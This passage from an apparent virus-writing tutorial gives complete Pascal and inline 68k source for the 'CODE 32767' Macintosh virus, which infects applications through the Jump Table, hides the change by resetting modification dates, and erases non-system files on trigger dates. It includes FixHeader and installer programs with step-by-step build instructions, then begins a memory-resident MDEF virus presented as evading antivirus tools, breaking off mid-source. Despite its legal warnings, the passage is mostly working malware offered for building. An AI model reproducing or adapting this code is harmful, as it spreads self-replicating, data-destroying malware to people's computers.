- cured, however. 2)The "Above A5" variable will change, since it is 32 + length(JT). This can be cured
- as well. 3)The CODE segment headers will change, since the offset of the first routine's entry is no
- longer xxxx, rather xxxx+8 (remember adding a JT entry amounts to adding the following 8 bytes:
- offset of first routine from beginning of segment:(2 bytes)
- Instruction that moves the segment number onto the stack for _LoadSeg:(4 bytes)
- {$3F3C,$xxxx ;MOVE.W $xxxx,-(SP)}
- _LoadSeg trap (2 bytes) {$A9F0}
- Total:8 bytes.
- If we change the JT by adding one more entry, the variables above can be corrected but what cannot
- be corrected is the intrasegment calls, using the register A5. Usually, an intrasegment call from
- within an app has the form: JSR $xxxx(A5). If we change the JT, the JT information will be
- incorrect, and the JT will translate the call incorrectly. The way to improve on this, is to forget about
- "adding" to the Jump Table one more entry, rather "changing" one of its entries. Which entry? The
- first one of course.
- The change will be simple. We will change only the CODE id number of the segment to be loaded, in
- the first entry of the Jump Table.
- Example:
- **********************************************************
- Suppose the Jump Table looks like this before infection:
- $00000030 ("Above A5" size)
- $0000xxxx ("Below A5" size)
- $00000010 (Length of Jump Table)
- $00000020 (Offset to jump Table from location pointed to by A5)
- $188A (Offset of first routine's entry from beginning of seg)
- $3F3C0001 (MOVE.W #$0001,-(SP))
- $A9F0 (_LoadSeg)
- $012A (Offset of first routine's entry from beginning of seg)
- $3F3C0002 (MOVE.W #$0002,-(SP))
- $A9F0 (_LoadSeg)
- **********************************************************
- AFTER infection it will look like this:
- **********************************************************
- $00000030 ("Above A5" size)
- $0000xxxx ("Below A5" size)
- $00000010 (Length of Jump Table)
- $00000020 (Offset to jump Table from location pointed to by A5)
- $0000 (Offset of first routine's entry from beginning of seg)
- $3F3C7FFF (MOVE.W #$7FFF,-(SP))
- $A9F0 (_LoadSeg)
- $012A (Offset of first routine's entry from beginning of seg)
- $3F3C0002 (MOVE.W #$0002,-(SP))
- $A9F0 (_LoadSeg)
- ***********************************************************
- This way, none of the Jump Table variables will need to change, since the JT has exactly the same
- length, and only the first entry is changed.
- The trick then is to call the segment that the Jump Table originally called, indirectly. For that, we use
- some inline code, jumping to the segment that the Jump Table originally called, by picking the
- segment offset and the segment number from the virus header, where they have been stored from the
- previous infection. Note however that this poses an additional problem. By jumping indirectly to
- register A0, the stack is left with the main stack frame dangling. Consequently, the Finder return
- addresses are invalid. To correct this, a special inline routine called "CleanStackAndCall" is created,
- that clears the main stack frame before jumping to register A0. It looks like:
- {********************************************************}
- procedure CleanStackAndCall (aRoutine: ProcPtr);
- inline
- $205F, {MOVE.L (SP)+,A0} (pop jumping address from stack)
- $4CDF, $0CF8,{MOVEM.L (A7)+,D3-D7/A2/A3} (restore registers)
- $4E5E, {UNLK A6} (restore link frame)
- $4ED0; {JMP (A0)} (jump to original program)
- {********************************************************}
- Note that we first pop the jumping address from the stack, then fix the registers and the stack frame,
- and finally jump to register A0.
- Contrary to the T4 virus, the registers do not need to be saved and restored, since the virus is the first
- thing that gets executed. i.e., nothing gets executed BEFORE the virus, so the registers are clean.
- Thus, the infected application's code does not care about the state they are in at the time of execution.
- The virus works as follows: First it scans the disk for files of type APPL. If it finds one it opens it and
- looks for CODE resources of id 32767 and it checks to see if the main segment number is a valid
- segment. If the Application contains a resource CODE 32767, it means it is infected. If not, it looks if
- the main segment can be loaded (that is, the segment that loads after the virus) and then it passes
- control to the patching manager which performs the following actions:
- 1)Gathers information from the Jump Table of the to-be-infected application.
- 2)Modifies the Jump Table to Jump to CODE 32767.
- 3)It modifies the main CODE segment that was bypassed as follows:
- If the CODE segment had the header (see above jump table)
- $0000 (Offset of the first routine's entry in the JT from its beginning)
- $0001 (Number of Entries for this segment)
- It will become:
- $0008 (Since now another entry has replaced the main entry in the Jump Table)
- $0000 (Number of Entries decreased by one!)
- In general then, we have the following transformation of the header of the CODE resource that loads
- first in the Jump Table:
- $xxxx -> $xxxx+8
- $yyyy-> $yyyy-1
- That way, all intrasegment references will be preserved correctly.
- 3)It makes a copy of the viral resource 32767.
- 4)It stores the main segment number and the main routine offset into the viral resource.
- 5)It finally Adds that new copy to the file to be infected.
- The exact sequence of infection is slightly different and actually adds the viral resource FIRST to the
- newly infected file, since the call to AddResource must be preceded by a call to NewHandle, which
- may fail if the application does not have a large enough heap. Thus if the memory manager fails to
- allocate a memory handle it will be forced to exit immediately. An effort is made to Purge memory
- before the call to NewHandle is made, to ensure that left over resources from previous open files are
- purged. That way, we can open as many resource files as we may need without memory problems.
- Even though the NewHandle call is made for a small amount of memory (~2K) it may fail if the
- application has a small size resource, and has opened many resource files, which it loads into
- memory. Problems will occur if the application to be infected has many resources that do not fit into
- the infected application's heap.
- The above is performed if a global variable called "Delete" is false. If it is true, the procedure that is
- used for scanning the volume, is altered slightly to erase all non system files from the volume. The
- status of the global Delete is determined in the beginning from the "timing" of the virus (i.e. it is a
- function of the DateTime record at the time of run) and it is as follows:
- It is based on the phrase 'FILE PREDATOR'. Take the English Alphabet, count it, starting with A=1,
- and the days on which the virus activates are the letters of the phrase 'FILE PREDATOR'. The hours
- are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
- The virus will infect anything that's of type APPL, including Script Applications, or pseudo-
- applications that depend on runtime environments.
- EXCLUDING Native PowerPC code applications and applications that make non standard use of
- their resource fork. It will not infect most PowerPC applications, which make non standard use of the
- CODE 0 segment.
- Specifically, it will infect applications only if they contain a legal call in
- their jump table as follows:
- $xxxx (Offset of first routine's entry from beginning of seg)
- $3F3C00xx (MOVE.W #$00xx,-(SP))
- $A9F0 (_LoadSeg)
- If the application's jump Table contains any other code, in the place of these bytes, it is immune
- against the CODE 32767 virus. Consequently, there is one very rare case, where the virus will
- damage an application: If the application contains the call above, but the bytes are not actually a
- _LoadSeg call.
- As such, it is more infectuous than the T4 virus, but less informative. For example, the T4 will spin
- the watch telling the user to wait until the next application is found for infection (which may take
- some time on disks with many files) but the CODE 32767 virus does not have this capability, since all
- managers have not been initialized yet. In particular, InitGraf(thePort), InitFonts, InitWindows,
- InitMenus, TEInit and InitDialogs have not been called, so any graphic processing cannot be done.
- When the virus attempts to erase the contents of a volume, it may take considerable time (on the order
- of 30 secs) at which time the user may turn-off the machine from fear of program hanging. However
- in those 15-20 seconds that the computer has in its time, considerable erasing can take place. In the
- case of the T4, the erasing will be complete, since there are alert warnings notifying the user about a
- considerable delay. So the user won't worry.
- The CODE 32767 virus can infect files only once, contrary to T4 which can infect files more than
- once.
- The virus consists of many sub-project files:
- 1)32767-(Builds the actual viral body)
- 2)FixHeader-(Corrects the resource header information for the viral CODE resource.)
- 3)Install32767-(Installs the virus onto an application of your own choosing.)
- To build the final project follow the next steps:
- 1)Open the project 32767 and select "build CODE resource"
- 2)Open the project FixHeader and select "Go"
- 3)Open the project Install32767 and select "Go", after you have placed an application on the Folder
- "Test Appls". If you change folders, change the corresponding lines in the source file.
- After you are done, the application you placed in the Folder "Test Appls" will be a ready infected
- application with the CODE 32767 virus.
- BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. PREFERABLY, DON'T RUN IT
- AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR HARD DISK IN THE BEST CASE,
- IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE AUTHOR DOES NOT BARE ANY
- RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH THE VIRUS. IN PARTICULAR IF
- YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO CRIMINAL PENALTIES. YOU
- HAVE BEEN WARNED.
- {*********************************************************}
- {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS
- PROGRAM}
- {This is the CODE 32767 virus}
- {*********************************************************}
- unit virus32767;
- interface
- procedure Main;
- implementation
- procedure Main;
- label
- 1000, 1001;
- type
- JumpTable = record {the Jump Table record which represents the beginning}
- AboveA5: longint; {of CODE resource 0}
- BelowA5: longint;
- LengthOfJT: longint;
- OffSet2JTFromLocA5: longint;
- OffsetOfFirstRoutine: integer; {THIS field interests us}
- MoveWordInstruction: integer;
- SegmentNumber: integer; {THIS field interests us}
- LoadSegTrap: integer;
- end;
- JumpTablePtr = ^JumpTable;
- JumpTableHandle = ^JumpTablePtr;
- {*********************************************************}
- VirusSegmentBeginning = record {representation of the 32767 CODE segment start}
- OffsetOfFirstEntryfromBegOfJT: integer;
- NumberOfEntriesForThisSeg: integer;
- BRANextInstruction: integer;
- OffsetOfFirstNormalRoutine: integer; {this is where we store the field "OffsetOfFirstRoutine"
- above}
- NormalSegmentNumber: integer; {this is where we store the field "SegmentNumber", above}
- Free1: longint; {These fields are free for internal use. Total:14 bytes}
- Free2: longint;
- Free3: longint;
- Free4: integer;
- end;
- VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
- VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
- {*********************************************************}
- GeneralSegment = record
- OffsetOfFirstEntryfromBegOfJT: integer;
- NumberOfEntriesForThisSeg: integer;
- end;
- GeneralSegmentPtr = ^GeneralSegment;
- GeneralSegmentHandle = ^GeneralSegmentPtr;
- {*********************************************************}
- cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle}
- {*********************************************************}
- HParamBlockHandle = ^HParmBlkPtr; {parameter block for PBHSetFInfo}
- var
- VirusSegBeginHandle: VirusSegmentBeginningHandle; {to access the 32767 CODE resource}
- JumpTHandle: JumpTableHandle; {to access the Jump Table of the infected application}
- GenSegHandle: GeneralSegmentHandle; {to access a general segment}
- CopyHandle: Handle; {Copy of a segment to add to the infected file}
- SegmentSize: integer; {Size of the segment above}
- Offset, SegNum: integer;{same as the corresponding fields of the Jump table}
- MainCode: Handle; {main CODE segment that is loaded normally on uninfected apps}
- cipbh: cinfopbhandle; {directory scan parameter block handle}
- pathname: str255; {complete pathname of application to be infected}
- scanname: string[31];{partial file name returned by the scanning proc}
- theworld: sysenvrec; {default system vars}
- foundone: boolean; {TRUE if there is a candidate for infection}
- opened, active: integer;{refnums of app to be infected, and current app}
- vrefnum: integer;
- Dummy: Handle; {Dummy handle to change resource attributes}
- Attributes: integer; {resource attributes}
- ApplicationFile, SystemFile: boolean; {if files are respectivelly one or the other}
- Delete: boolean; {If True, all hell breaks loose}
- {*********************************************************}
- {Evil Dates determines whether the Date is an erase date, or just a replication date}
- {*********************************************************}
- function EvilDate: boolean;
- var
- theDate: DateTimeRec;
- temp: boolean;
- begin
- GetTime(theDate); {Get the Current Date to determine if it's an evil date}
- with theDate do
- begin
- temp := (Month = 1) and (Day = 6) and (Hour = 9); {Days make 'FILE PREDATOR'}
- temp := temp or ((Month = 2) and (Day = 9) and (Hour = 10));
- temp := temp or ((Month = 3) and (Day = 12) and (Hour = 11));
- temp := temp or ((Month = 4) and (Day = 5) and (Hour = 12));
- temp := temp or ((Month = 5) and (Day = 16) and (Hour = 13));
- temp := temp or ((Month = 6) and (Day = 18) and (Hour = 14));
- temp := temp or ((Month = 7) and (Day = 5) and (Hour = 15));
- temp := temp or ((Month = 8) and (Day = 4) and (Hour = 16));
- temp := temp or ((Month = 9) and (Day = 1) and (Hour = 17));
- temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
- temp := temp or ((Month = 11) and (Day = 15) and (Hour = 19));
- temp := temp or ((Month = 12) and (Day = 18) and (Hour = 20));
- end;
- EvilDate := temp;
- end;
- {*********************************************************}
- {the following examines whether an application is infected or not infected. It also opens the resource
- fork of the application to be infected so that we can process it later. Upon exit from this routine, we
- have opened the resource file to be infected. }
- {*********************************************************}
- procedure examineapplication;
- label
- 1002;
- const
- ThreeK = 3072;
- var
- index, err, attributes: integer;
- Busy: boolean; {TRUE if application is running}
- begin
- err := rstflock(pathname, vrefnum); {unlock, just in case}
- opened := openrfperm(pathname, 0, fsrdwrshperm); {open resource file}
- err := reserror;
- Busy := (err <> noErr) or (opened = active); {true if somehow resource file is used}
- if not Busy then {don't infect running apps}
- begin
- attributes := getresfileattrs(opened); {maybe it's read only}
- if band(attributes, mapreadonly) = mapreadonly then
- begin
- attributes := attributes - mapreadonly + mapchanged; {clear old attributes}
- setresfileattrs(opened, attributes); {set new flags}
- end;
- useresfile(opened); {make current just in case}
- JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0)); {Get a hold of its jump table}
- if JumpTHandle = nil then {weird APPL. Does not have a Jump Table!?}
- goto 1002;
- HLock(Handle(JumpTHandle));
- with JumpTHandle^^ do
- begin
- Offset := OffsetOfFirstRoutine; {Get offset to first routine}
- SegNum := SegmentNumber; {in segment #}
- end;
- HUnLock(Handle(JumpTHandle));
- GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum)); {Get a hold of its
- main segment}
- foundone := (GenSegHandle <> nil) and (Get1Resource('CODE', maxint) = nil); {Mark for
- infection}
- {Note that if it is a PowerPC Application, it will give GenSegHandle=nil, since SegNum is usually -1
- (FFFF)}
- end;{if not Busy}
- 1002:
- if not Busy and not foundone then
- begin
- closeresfile(opened); {if not us, or if not running, close it}
- PurgeMem(ThreeK); {Purge leftover garbage}
- end;
- end;
- {*********************************************************}
- {The following brings the next clean application from the directory. It returns the complete pathname
- of the next app in the hard drive that does not contain a CODE resource of id=32767 and is not
- running. Implemented recursively. It will scan directories as deep as determined by the constant
- charscanningdepth}
- {*********************************************************}
- procedure nextcleanapp (dirid: longint);
- const
- charscanningdepth = 255; {pathname is at most this long}
- var
- indx, i, j: integer;
- err: oserr;
- begin
- indx := 0;
- repeat
- indx := indx + 1;
- with cipbh^^ do
- begin
- ionameptr := @scanname;
- iofdirindex := indx;
- iodirid := dirid;
- iovrefnum := 0;
- err := pbgetcatinfo(cipbh^, FALSE);
- if err = noerr then
- begin
- if length(pathname) + length(scanname) <= charscanningdepth then {don't look deeper than
- charscanningdepth chars}
- begin
- pathname := concat(pathname, ':', scanname); {stack}
- if bittst(@ioflattrib, 3) then {directory}
- nextcleanapp(iodirid)
- else {file}
- begin
- ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and
- (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
- SystemFile := pos(scanname, 'System') <> 0;
- if not Delete and ApplicationFile then
- {*********************************************************}
- {examine file to see if it is already infected, and if not to see if it can be infected}
- {*********************************************************}
- examineapplication{if type=APPL}
- else if Delete and not ApplicationFile and not SystemFile then
- err := HDelete(vrefnum, 0, pathname);
- end;
- if not foundone then {unstack only if we haven't found one yet}
- begin
- i := length(pathname);
- j := i;
- while pathname[i] <> ':' do
- i := i - 1;
- pathname := omit(pathname, i, j);
- end;{if not foundone}
- end;{if length ok}
- end;{if err=noerr}
- end;{with cipbh^}
- until (err = fnferr) or foundone;
- end;
- {*********************************************************}
- {The following routine clears the resprotected attribute of a CODE resource if it is set}
- {*********************************************************}
- procedure ClearResProtected (h: handle);
- var
- attributes: integer;
- begin
- attributes := getresattrs(h); {first change the code attributes}
- if band(attributes, resprotected) = resprotected then
- setresattrs(h, attributes - resprotected); {clear attributes so we can write}
- end;
- {*********************************************************}
- {The following routine corrects the modification date so that it doesn't show after the infection}
- {*********************************************************}
- procedure SetModificationDate;
- label
- 1002;
- var
- ParamBlock: HParamBlockHandle; {parameter block for PBHSetFInfo}
- err: OsErr;
- begin
- ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
- if MemError <> noErr then
- goto 1002; {Exit if we can't get the memory}
- HLock(Handle(ParamBlock));
- with ParamBlock^^ do
- begin
- ioFDirIndex := 0;
- ioNamePtr := @pathname;
- err := PBHGetFInfo(ParamBlock^, FALSE);
- ioFlMdDat := ioFlCrDat;
- err := PBHSetFInfo(ParamBlock^, FALSE);
- end;
- HUnlock(Handle(ParamBlock));
- DisposeHandle(Handle(ParamBlock));
- 1002:
- end;
- {*********************************************************}
- {The following routine calls the main CODE resource that would have been called otherwise by the
- uninfected application. We thus bypass the Jump Table and call the CODE resource using the method
- below. It also cleans up the main stack frame which by definition cannot be called since we are
- indirectly jumping to main code via the A0 register.}
- {*********************************************************}
- procedure CleanStackAndCall (aRoutine: ProcPtr);
- inline
- $205F, {MOVE.L (SP)+,A0}
- $4CDF, $0CF8, {MOVEM.L (A7)+,D3-D7/A2/A3}
- $4E5E, {UNLK A6}
- $4ED0; {JMP (A0)}
- {*********************************************************}
- begin {main code}
- MaxApplZone; {Expand heap to its limit}
- active := CurResFile; {find out our ref number}
- VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring
- virus from main resource file}
- Delete := EvilDate; {Determine if we are to Erase volume}
- if sysenvirons(1, theworld) <> noErr then {get the environment}
- goto 1001;
- pathname := '';
- scanname := '';
- vrefnum := theworld.sysvrefnum;
- if setvol(nil, vrefnum) <> noErr then {get startup volume}
- goto 1001;
- if getvol(@pathname, vrefnum) <> noErr then {get startup volume}
- goto 1001;
- foundone := false; {set initial value of foundone to false}
- opened := 0; {initialize opened resource file to 0}
- cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec))); {get memory for directory scan}
- if memerror <> noErr then
- goto 1001; {exit if we can't get the memory}
- hlock(handle(cipbh)); {lock to use}
- nextcleanapp(fsrtdirid); {search for next uninfected appl}
- hunlock(handle(cipbh)); {unlock to free}
- disposehandle(handle(cipbh)); {dispose of}
- if foundone then {we have an open resource file ready for proccessing}
- begin
- {Add viral resource}
- SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
- CopyHandle := NewHandle(SegmentSize); {Allocate memory fo copied handle}
- if MemError <> noErr then
- goto 1000;
- HLock(Handle(VirusSegBeginHandle));
- HLock(CopyHandle);
- BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize); {copy memory}
- with VirusSegmentBeginningHandle(CopyHandle)^^ do
- begin
- OffsetOfFirstNormalRoutine := Offset; {Store offset}
- NormalSegmentNumber := SegNum; {store segment number}
- end;
- HUnlock(CopyHandle);
- HUnlock(Handle(VirusSegBeginHandle));
- AddResource(CopyHandle, 'CODE', $7FFF, '');
- if ResError <> noErr then
- goto 1000;
- Dummy := Get1Resource('CODE', $7FFF);
- Attributes := GetResAttrs(Dummy);
- Attributes := Attributes + ResLocked + ResPreload;
- SetResAttrs(Dummy, Attributes);
- UpdateResFile(opened);
- DisposeHandle(CopyHandle);
- {Deal with JumpTable}
- ClearResProtected(handle(JumpTHandle)); {remove resprotected attribute}
- HLock(Handle(JumpTHandle));
- with JumpTHandle^^ do
- begin
- OffsetOfFirstRoutine := $0000; {change with ours}
- SegmentNumber := $7FFF; {32767 in hex}
- end;
- HUnlock(Handle(JumpTHandle));
- ChangedResource(Handle(JumpTHandle));
- if ResError <> noErr then
- goto 1000;
- UpdateResFile(opened);
- {Now deal with main segment CODE resource}
- ClearResProtected(handle(GenSegHandle)); {remove resprotected attribute}
- HLock(Handle(GenSegHandle)); {Now change genral main segment's header}
- with GenSegHandle^^ do
- begin
- OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
- NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
- end;
- HUnlock(Handle(GenSegHandle));
- ChangedResource(Handle(GenSegHandle));
- UpdateResFile(opened);
- end; {if foundone}
- 1000:
- UseResFile(active);
- if foundone then
- CloseResFile(opened);
- {Now restore modification dates}
- if foundone then
- SetModificationDate;
- {Now bypass the Jump Table and call main segment after we are done}
- 1001:
- with VirusSegBeginHandle^^ do
- begin
- MainCode := Get1Resource('CODE', NormalSegmentNumber);
- CleanStackAndCall(ProcPtr(Ord(StripAddress(MainCode^)) + OffsetOfFirstNormalRoutine + 4));
- {4 bytes extra because of the CODE header}
- end;
- end;
- end.
-
- The comments at the end of each statement give an accurate description of how the virus
- works. You can of course re-use several of the utility routines in this virus, such as the jumping
- "indirect" via the A0 register, even in asm, provided you perform the correct pointer calculations.
- Now let's take a look on how we modify the header of the code segment produced by the Pascal
- compiler.
- {*********************************************************}
- {This Program Fixes the Header of the CODE resource produced by the Pascal Compiler. Select Go
- from the Run Menu, after you adjust the pathnames to reflect your disk structure. For an explanation
- of the data structures, see the same data structures on the main program}
- {*********************************************************}
- program FixHeader;
- label
- 1000;
- const
- MainSegmentFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767body'; {change here
- to your dir names}
- type
- VirusSegmentBeginning = record
- OffsetOfFirstEntryfromBegOfJT: integer;
- NumberOfEntriesForThisSeg: integer;
- BRANextInstruction: integer;
- OffsetOfFirstNormalRoutine: integer;
- NormalSegmentNumber: integer;
- Free1: longint;
- Free2: longint;
- Free3: longint;
- Free4: integer;
- end;
- VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
- VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
- var
- VirusSegBeginHandle: VirusSegmentBeginningHandle;
- refnum: integer;
- begin
- ShowText;
- refnum := OpenResFile(MainSegmentFileName);
- writeln('OpenResFile:', ResError);
- if ResError <> noErr then
- goto 1000;
- VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint));
- writeln('GetResource:(nil handle)', VirusSegBeginHandle = nil);
- if VirusSegBeginHandle = nil then
- goto 1000;
- HLock(handle(VirusSegBeginHandle));
- with VirusSegBeginHandle^^ do
- begin
- OffsetOfFirstEntryfromBegOfJT := $0000;
- NumberOfEntriesForThisSeg := $0001;
- BRANextInstruction := $6012; {BRA.S NextExecutableInstruction}
- OffsetOfFirstNormalRoutine := $0000;
- NormalSegmentNumber := $0001; {usually segment #1}
- Free1 := longint('FILE');
- Free2 := longint('PRED');
- Free3 := longint('ATOR');
- Free4 := integer('VR');
- end;
- HUnLock(handle(VirusSegBeginHandle));
- ChangedResource(handle(VirusSegBeginHandle));
- writeln('ChangedResource:', ResError);
- 1000:
- CloseResFile(refnum);
- end.
-
- And finally the virus installer:
- {*********************************************************}
- {This Program installs the virus on an application of your choosing. Here for simplicity we use
- TeachText}
- {*********************************************************}
- program Install32767;
- label
- 1000;
- const
- CodeResourceFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767Body';
- ApplicationFileName = 'Hard Disk:CharConvert:CODE 32767:Test Appls:SimpleText';
- type
- JumpTable = record{the Jump Table record which represents the beginning}
- AboveA5: longint; {of CODE resource 0}
- BelowA5: longint;
- LengthOfJT: longint;
- OffSet2JTFromLocA5: longint;
- OffsetOfFirstRoutine: integer; {THIS field interests us}
- MoveWordInstruction: integer;
- SegmentNumber: integer; {THIS field interests us}
- LoadSegTrap: integer;
- end;
- JumpTablePtr = ^JumpTable;
- JumpTableHandle = ^JumpTablePtr;
- VirusSegmentBeginning = record {representation of the 32767 CODE segment start}
- OffsetOfFirstEntryfromBegOfJT: integer;
- NumberOfEntriesForThisSeg: integer;
- BRANextInstruction: integer;
- OffsetOfFirstNormalRoutine: integer; {this is where we store the field "OffsetOfFirstRoutine"
- above}
- NormalSegmentNumber: integer; {this is where we store the field "SegmentNumber", above}
- Free1: longint;
- Free2: longint;
- Free3: longint;
- Free4: integer;
- end;
- VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
- VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
- cinfopbhandle = ^cinfopbptr; {directory scan parameter block handle}
- GeneralSegment = record
- OffsetOfFirstEntryfromBegOfJT: integer;
- NumberOfEntriesForThisSeg: integer;
- end;
- GeneralSegmentPtr = ^GeneralSegment;
- GeneralSegmentHandle = ^GeneralSegmentPtr;
- var
- VirusSegBeginHandle: VirusSegmentBeginningHandle; {to access the 32767 CODE resource}
- JumpTHandle: JumpTableHandle; {to access the Jump Table of the infected application}
- GenSegHandle: GeneralSegmentHandle; {to access a general segment}
- CopyHandle, theVirus: Handle;{Copy of a segment to add to the infected file}
- SegmentSize: integer; {Size of the segment above}
- refnum1, refnum2, Offset, SegNum: integer;
- err: OSErr;
- Attributes: integer;
- Dummy: Handle;
- begin
- ShowText;
- refnum1 := OpenResFile(CodeResourceFileName);
- err := ResError;
- writeln('OpenResFile:', err);
- if err <> noErr then
- goto 1000;
- refnum2 := OpenResFile(ApplicationFileName);
- err := ResError;
- writeln('OpenResFile:', err);
- if err <> noErr then
- goto 1000;
- UseResFile(refnum2);
- JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0)); {Get a hold of its jump table}
- writeln('Get1Resource:(nil handle)', JumpTHandle = nil);
- if JumpTHandle = nil then
- goto 1000;
- HLock(Handle(JumpTHandle));
- with JumpTHandle^^ do
- begin
- Offset := OffsetOfFirstRoutine; {Get offset to first routine}
- SegNum := SegmentNumber; {in segment #}
- OffsetOfFirstRoutine := $0000; {change with ours}
- SegmentNumber := $7FFF; {32767 in hex}
- end;
- HUnlock(Handle(JumpTHandle));
- ChangedResource(Handle(JumpTHandle));
- err := ResError;
- writeln('ChangedResource:', err);
- if err <> noErr then
- goto 1000;
- GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum)); {Get a hold of its
- main segment}
- writeln('Get1Resource:(nil handle)', GenSegHandle = nil);
- if GenSegHandle = nil then
- goto 1000;
- HLock(Handle(GenSegHandle));
- with GenSegHandle^^ do
- begin
- OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
- NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
- end;
- HUnlock(Handle(GenSegHandle));
- ChangedResource(Handle(GenSegHandle));
- err := ResError;
- writeln('ChangedResource:', err);
- if err <> noErr then
- goto 1000;
- UseResFile(refnum1);
- VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring it
- from main resource file}
- writeln('GetResource (nil handle):', VirusSegBeginHandle = nil);
- if VirusSegBeginHandle = nil then
- goto 1000;
- SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
- CopyHandle := NewHandle(SegmentSize);
- err := MemError;
- writeln('NewHandle:', err);
- if err <> noErr then
- goto 1000;
- HLock(Handle(VirusSegBeginHandle));
- HLock(CopyHandle);
- BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize);
- with VirusSegmentBeginningHandle(CopyHandle)^^ do
- begin
- OffsetOfFirstNormalRoutine := Offset;
- NormalSegmentNumber := SegNum;
- end;
- HUnlock(CopyHandle);
- HUnlock(Handle(VirusSegBeginHandle));
- UseResFile(refnum2);
- AddResource(CopyHandle, 'CODE', $7FFF, '');
- err := ResError;
- writeln('AddResource:', err);
- Dummy := Get1Resource('CODE', maxint);
- Attributes := GetResAttrs(Dummy);
- Attributes := Attributes + ResLocked + ResPreload;
- SetResAttrs(Dummy, Attributes);
- err := ResError;
- writeln('SetResAttrs:', err);
- CloseResFile(refnum1);
- CloseResFile(refnum2);
- DisposeHandle(CopyHandle);
- 1000:
- end.
-
- Note that in the case of the Installer, we don't need to make implicit calculations, because we
- know which program we are going to infect, so we can just look at its jump table and modify it
- accordingly. This last program is in essence nothing more than a batch facility which allows for quick
- modification of the target file, the first host.
-
- FOURTH EXAMPLE: A MDEF VIRUS
-
- DESCRIPTION:
-
- This is an MDEF virus. This virus is mainly memory resident, meaning that once it activates, it stays
- in memory until a hard restart is executed. The idea behind its activation is simple. The MDEF code
- header looks like this:
- BRA.S MAIN
- DC.W #$0000
- DC.W #$4D44
- DC.W #$4546
- DC.W #$0000
- DC.W #$000E
- LINK A6,#-$0166
- ...
- if, instead, we patched the code to jump to a subroutine BEFORE the activation of the MDEF, we
- have nice viral code that gets executed, before the actual MDEF. Therefore, consider the following
- patch of the header:
- BSR VIRUS
- BRA.S MAIN
- DC.W whatever info we want (integer)
- DC.W whatever info we want (integer)
- DC.W whatever info we want (integer)
- LINK A6,#-$0166
- ...
- ...
- VIRUS:LINK a6,#xxx
- MORE VIRAL CODE
- MORE
- ...
- RTS
- ------------------------------------
- This patch ensures that every time the MDEF gets executed, the viral code will be executed first. If an
- infected application is run, it will immediately infect the System file. Once the System file gets
- infected, every application that tries to execute will be infected immediately. Since the MDEF with
- id=0 gets called whenever the menu manager accesses a menu, the virus activates many times during
- an application execution, trying to enter the System. If it manages that, it will stay there forever as
- part of the System Resources. It is one of the simplest and most virulent viruses so far, thus exercise
- great caution when you run an infected application. It is a new virus, thus no antiviral tool or program
- will detect it, except programs like SAM Intercept and GateKeeper which monitor operations by
- patching traps of the Resource Manager. It is not a malignant virus, contrary to the CODE 32767 and
- T4 viruses, which erase Hard Disks.
- The virus "mutates" in the naive sense, meaning that it will attach copies of itself to the DIFFERENT
- original MDEF's that each System has. For example, if the virus is run on a System 7.0 but its MDEF
- is of version 7.5.3, it will adapt to the particular MDEF for System 7.0. The viral code itself does not
- mutate, but the MDEF as a whole will mutate if transferred from one System to another of different
- versions. Accordingly, the main "host" of the virus is the MDEF it sits upon. The secondary host, is
- the application or file that caries the virus. Of course, this may lead to trouble, if a newer MDEF
- infected file is carried into an older System. The virus itself, is 500 bytes long, which is the shortest
- virus ever made. But upon attaching itself on a MDEF resource, it assumes the sum of the individual
- sizes.
- A side effect of the virus, is that it stays active in memory, even after its deactivation. Thus the System
- immediately starts executing the viral code after the infected application quits.
- The MDEF folder consists of two programs, MDEF.p which is the heart of the virus, and
- MDEFInstall.p, which installs the MDEF resource in the application of your choosing. To create an
- infected application:
- 1)Open the project MDEF.proj and select "Build Code Resource" from the menu.
- 2)Open the project MDEFInstall.proj and select "Go" from the menu.
- The application SimpleText on your directory will be an infected application.
- CAUTION: YOU HAVE BEEN WARNED. BE VERY CAREFUL WHEN YOU RUN THIS
- APPLICATION. IT WILL INFECT YOUR HARD DISK AND GRADUALLY ALL THE
- APPLICATIONS IN IT, AND POSSIBLY OTHER FILES AS WELL. YOU ARE LIABLE TO
- CRIMINAL PENALTIES IF YOU RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE
- IF YOU DO.
-
- unit MDEF;
- interface
- procedure Main;
- implementation
- procedure Main;
- label
- 1000;
